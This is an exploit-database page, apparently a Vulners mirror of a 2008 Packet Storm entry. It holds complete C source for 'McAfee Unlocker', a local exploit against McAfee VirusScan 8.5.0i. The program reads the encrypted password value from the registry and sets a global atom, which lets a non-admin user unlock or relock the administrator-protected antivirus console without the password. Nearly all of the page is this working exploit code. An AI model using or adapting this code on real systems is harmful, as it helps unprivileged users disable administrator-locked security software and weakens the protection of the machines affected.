Lucene search
K

McAfeeUnlocker.cpp

🗓️ 22 May 2008 00:00:00Reported by BendiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

McAfee VirusScan 8.5.0i local exploitable issue - McAfee Unlocker by Bendi

Code
`/***************************************************************************  
*  
* McAfee VirusScan 8.5.0i local exploitable issue - McAfee Unlocker  
*  
* by Bendi [zbendi <at> gmail.com]  
*  
* McAfee VirusScan 8.5.0i can be locked with password by admin ...  
* and unlocked withount it !  
*  
* Encrypted password is in registry but not accessible in writing.  
* Once admin has unlocked McAffe, a global Atom is set with "UIP-"  
* and the encrypted key as name.  
* Basic user can take admin privilege with manually set  
* the global atom. It's what this code do !  
*  
************************************************************************/  
  
#include <windows.h>  
  
int WINAPI WinMain (HINSTANCE hThisInstance,  
HINSTANCE hPrevInstance,  
LPSTR lpszArgument,  
int nFunsterStil)  
{  
HKEY HkDesktopProtection;  
char sUIP[256]="UIP-";  
DWORD dSizesUip = sizeof(sUIP);  
ATOM GlobalAtom;  
DWORD iInstallErr;  
  
iInstallErr = RegOpenKeyEx(HKEY_LOCAL_MACHINE,  
"SOFTWARE\\McAfee\\DesktopProtection",  
0,  
KEY_READ,  
&HkDesktopProtection);  
  
if(iInstallErr==ERROR_SUCCESS)  
{  
iInstallErr = RegQueryValueEx(  
HkDesktopProtection,  
"UIP",  
NULL,  
NULL,  
(BYTE *)&sUIP+4,  
&dSizesUip);  
  
if(iInstallErr==ERROR_SUCCESS)  
{  
  
GlobalAtom = GlobalFindAtom(sUIP);  
  
if(GlobalAtom)  
{  
GlobalDeleteAtom(GlobalAtom);  
MessageBox(NULL,  
"McAfee is now locked !",  
"McAfee Unlocker",  
MB_OK|MB_ICONINFORMATION);  
}  
else  
{  
GlobalAddAtom(sUIP);  
MessageBox(NULL,  
"McAfee is now unlocked :-)!",  
"McAfee Unlocker",  
MB_OK|MB_ICONINFORMATION);  
}  
}  
else  
{  
iInstallErr=TRUE;  
}  
RegCloseKey(HkDesktopProtection);  
}  
  
if(iInstallErr!=ERROR_SUCCESS)  
{  
MessageBox(NULL,  
"McAfee 8.5.0i is not found !",  
"McAfee Unlocker",  
MB_OK|MB_ICONWARNING);  
}  
return 0;  
}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation